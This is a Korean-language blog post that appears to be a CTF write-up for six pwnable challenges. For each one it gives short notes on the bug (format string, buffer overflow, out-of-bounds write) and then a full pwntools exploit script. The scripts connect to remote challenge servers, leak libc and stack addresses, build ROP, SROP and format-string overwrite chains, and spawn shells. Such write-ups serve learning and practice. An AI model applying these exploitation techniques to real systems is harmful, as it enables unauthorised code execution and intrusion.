Pwnable - UFOrmat
communication 함수 안에서 fsb가 터진다.
총 두번 터진다.
gift로 덮으면 된다.
첫 번째 fsb는 leak을 하기 위해서 사용했고, 두 번째는 ret를 gift로 덮는 데 사용했다.
그런데 그냥 gift로 덮으면 movaps에서 stack alignment가 깨져서 실행이 안되니까, 함수 프롤로그 과정을 생략한 주소를 넣어줬다.
from pwn import *
e= ELF('./UFOrmat')
libc = ELF('./libc.so.6')
#p = process('./UFOrmat',env={"LD_PRELOAD":"./libc.so.6"})
p = remote('3.35.222.217',5333)
p.sendlineafter(b'>',b'y')
p.sendlineafter(b'>',b'y')
p.sendlineafter(b'>',b'y')
def f(buf_idx,fstr):
pay = b'%'+str(8 + buf_idx).encode()+b'$' + fstr.encode()
return pay
pay = f(0x418//0x8,'p') + b' '
pay += f(0x410//0x8,'p') + b' '
pay += b'%3$p' +b' '
pay += b'\x00'
context.log_level = 'debug'
p.sendafter(b'>',pay)
p.recv()
binary_base = int(p.recvuntil(b'\x20')[:-1],16)-0x17ba
ret = int(p.recvuntil(b'\x20')[:-1],16) -0x18
libc_base = int(p.recvuntil(b'\x20')[:-1],16) - 0x114992
success('stack ret : '+hex(ret))
success('libc base : '+hex(libc_base))
success('binary base : '+hex(binary_base))
gift = binary_base + 0x00000000000124E
success('gift : '+hex(gift))
val = hex(gift).replace('0x','').rjust(8,'0')
list = []
list.append(int(val[:4],16))
list.append(int(val[4:8],16))
list.append(int(val[8:12],16))
list.sort()
for i in list:
print(hex(i))
addr = []
for i in range(len(list)):
if(list[i] == int(val[:4],16)):
addr.append(ret +4)
elif(list[i] == int(val[4:8],16)):
addr.append(ret +2)
elif(list[i] == int(val[8:12],16)):
addr.append(ret)
print(addr)
pay = b'%' + str(list[0]).encode() + b'c'
pay += b'%'+str(8 + 5).encode()+b'$hn'
pay += b'%' + str(list[1] - list[0]).encode() + b'c'
pay += b'%'+str(8 + 6).encode()+b'$hn'
pay += b'%' + str(list[2] - list[1] ).encode() + b'c'
pay += b'%'+str(8 + 7).encode()+b'$hn'
pay += b'A' * (len(pay) //8 * 8 +8 - len(pay))
print(len(pay))
if len(pay) == 48:
pay =b''
pay = b'%' + str(list[0]).encode() + b'c'
pay += b'%'+str(8 + 6).encode()+b'$hn'
pay += b'%' + str(list[1] - list[0]).encode() + b'c'
pay += b'%'+str(8 + 7).encode()+b'$hn'
pay += b'%' + str(list[2] - list[1] ).encode() + b'c'
pay += b'%'+str(8 + 8).encode()+b'$hn'
pay += b'A' * (len(pay) //8 * 8 +8 - len(pay))
pay += p64(addr[0])
pay += p64(addr[1])
pay += p64(addr[2])
print(pay)
pause()
p.sendafter(b'>',pay)
p.interactive()
길이에 따라서 달라져서 둘다 적었었는데, 익스 코드 다 적고 나서 보니까, 48과 비교하는 부분은 없어도 될 것 같다.
Pwnable - Superrop
널널하게 걸려있다.
x86 바이너리다.
bof가 터진다.
int 0x80 가젯을 준다.
eax를 컨트롤할 수 있는 가젯을 찾아봤더니 없다.
그러면 read의 리턴 값을 이용해 eax를 컨트롤하면 된다.
스택 피보팅해서 SROP 하면 된다.
from pwn import *
e= ELF('./Superrop')
p = remote('3.39.249.11',8080)
#p = process('./Superrop')
pr = 0x08049022
ppr = 0x0804901f
pppr = 0x0804901f
syscall = 0x08049189 #int 0x80
pop_ebx = 0x08049022
leave_ret = 0x080490f5
frame = SigreturnFrame(kernel = 'i386')
frame.eax = 0xb
frame.ebx = 0x804c238
frame.eip = syscall
frame.cs = 0x23
frame.gs = 0x63
frame.es = 0x2b
frame.ds = 0x2b
frame.ss = 0x2b
frame.ebp = e.bss()+0x300
frame.esp = e.bss()+0x300
pay = b'A'*8
pay += p32(e.bss()+0x200)
pay += p32(e.plt['read'])
pay += p32(pppr)
pay += p32(0)
pay += p32(e.bss()+0x200-0x8)
pay += p32(0x300)
pay += p32(leave_ret)
p.send(pay)
pay = b'/bin/sh\x00' #e.bss()+0x198
pay += p32(e.bss()+0x200)
pay += p32(syscall)
pay += bytes(frame)
pay += b'A'*(119-len(pay))
pause()
p.send(pay)
p.interactive()
Pwnable - MemView
이렇게 걸려있다.
input_comment에서 bof가 터진다.
check_value는 기본값이 2다.
main에서 name을 /bin/sh 주고
puts got를 system으로 덮으면 된다.
from pwn import *
e = ELF('./MemView')
libc = ELF('./libc.so.6')
p = remote('13.124.195.98',8888)
#p = process('./MemView',env={'LD_PRELOAD':"./libc.so.6"})
pr= 0x08049022
pppr = 0x080491e8
ppr = 0x080491e9
stdout = 0x804c040
back = 0x8049322
p.sendafter(b'Hi what your name? ',b'/bin/sh\x00')
p.sendlineafter(b'> ', '2')
pay = b'A'*18
pay += p32(e.bss())
pay += p32(e.plt['puts'])
pay += p32(pr)
pay += p32(stdout)
pay += p32(back)
context.log_level = 'debug'
p.send(pay)
libc_base = u32(p.recv(4)) - 0x22a620
success('libc base : '+hex(libc_base))
bin_sh = 0x1bd0f5
sys = libc_base + libc.sym['system']
p.sendlineafter(b'>','2')
pay = b'A'*18
pay += p32(e.bss())
pay += p32(e.plt['read'])
pay += p32(pppr)
pay += p32(0)
pay += p32(e.got['puts'])
pay += p32(0x20)
pay += p32(e.sym['main'])
p.send(pay)
p.send(p64(sys))
#/bin/sh 이름 다시 주고 flag 읽기
p.interactive()
다시 메인으로 돌아가게 해 놓았는데, name /bin/sh 다시 주고 print_name 다시 부르면 flag를 얻을 수 있다.
Pwnable - hello
idx를 입력받는다.
oob가 터진다.
canary 넘어서 ret쪽을 덮을 수 있다.
ret를 gift로 덮으면 된다.
from pwn import *
libc = ELF('./libc.so.6')
e= ELF('./hello')
# p = process('./hello')
p = remote('13.124.74.0',5333)
gift = e.sym['gift']
context.log_level = 'debug'
p.sendlineafter(b'Enter choice : ',b'2')
pause()
p.sendlineafter(b'Enter idx : ',b'9')
p.sendlineafter(b'Enter length : ',b'20')
p.send(b'A'*0x10 + p64(gift))
p.send('3')
p.interactive()
Pwnable - x86_rop
여기서 bof가 터진다.
PIE 없으니 그냥 하면 된다.
from pwn import *
pr = 0x080491e5
ppr = 0x080491e4
pppr = 0x080491e3
leave_ret = 0x08049145
e = ELF('./x86_rop')
libc = ELF('./libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#p = process('./x86_rop',env={'LD_PRELOAD':'./libc.so.6'})
p = remote('3.38.162.74',5333)
r = ROP(e)
p.sendlineafter(b'Enter choice :',b'2')
p.sendlineafter(b'Enter choice :',b'1')
success('bss : '+hex(e.bss()))
pay = b'A'*0x18
pay += p32(e.bss()+0x200)
pay += p32(e.plt['puts'])
pay += p32(pr)
pay += p32(e.got['read']) #read got
pay += p32(e.plt['read'])
pay += p32(pppr)
pay += p32(0)
pay += p32(e.bss()+0x200)
pay += p32(0x100)
pay += p32(leave_ret)
p.send(pay)
p.recv() #0xf7df10c0
read_got = u32(p.recvn(4))
success('read_got : '+hex(read_got))
libc_base = read_got - libc.sym['read']
success('libc_base : '+hex(libc_base))
pay = p32(e.bss()+0x200)
pay += p32(libc_base + libc.sym['execve'])
pay += p32(pppr)
pay += p32(libc_base + 0x1bd0f5)
pay += p32(0) *2
pause()
p.send(pay)
p.interactive()
Pwnable - x64_rop
마찬가지로 rop에서 bof 터진다.
from pwn import *
pop_rdi = 0x0000000000401203
pop_rdx = 0x0000000000401200
pop_rsi_rdi = 0x0000000000401202
leave_ret = 0x00000000004012de
e = ELF('./x64_rop')
libc = ELF('./libc.so.6')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#p = process('./x64_rop',env={'LD_PRELOAD':'./libc.so.6'})
p = remote('3.36.121.146',5333)
p.sendlineafter(b'Enter choice :',b'2')
p.sendlineafter(b'Enter choice :',b'1')
pay = b'A'*0x10
pay += p64(e.bss()+0x200)
pay += p64(pop_rdi)
pay += p64(0x404060) #stdout leak
pay += p64(e.plt['puts'])
pay += p64(pop_rsi_rdi)
pay += p64(e.bss()+0x200)
pay += p64(0)
pay += p64(pop_rdx)
pay += p64(0x100)
pay += p64(e.plt['read'])
pay += p64(leave_ret)
p.send(pay)
p.recv()
stdout = (u64(p.recvline()[:-1].ljust(8,b'\x00')))
success('stdout : '+hex(stdout))
success('bss : '+hex(e.bss()))
libc_base = stdout - 0x21a780
success('libc_base : '+hex(libc_base))
pay = p64(e.bss()+0x200)
pay += p64(pop_rsi_rdi)
pay += p64(0) *2
pay += p64(pop_rdx)
pay += p64(0)
pay += p64(libc_base + 0xebcf8)
pause()
p.send(pay)
p.interactive()
'SYSTEM HACKING' 카테고리의 다른 글
sysmalloc mmap을 통한 libc leak (0) | 2022.10.04 |
---|---|
도커 공유 디렉토리 연결 (0) | 2022.08.11 |
libc에서 /bin/sh 오프셋 찾기 (0) | 2022.08.05 |
EFLAGS OF(Overflow Flag) VS CF(Carry Flag) (0) | 2022.07.31 |
stdin, stdout, stderr bss segment 할당 및 _IO_FILE (0) | 2022.07.22 |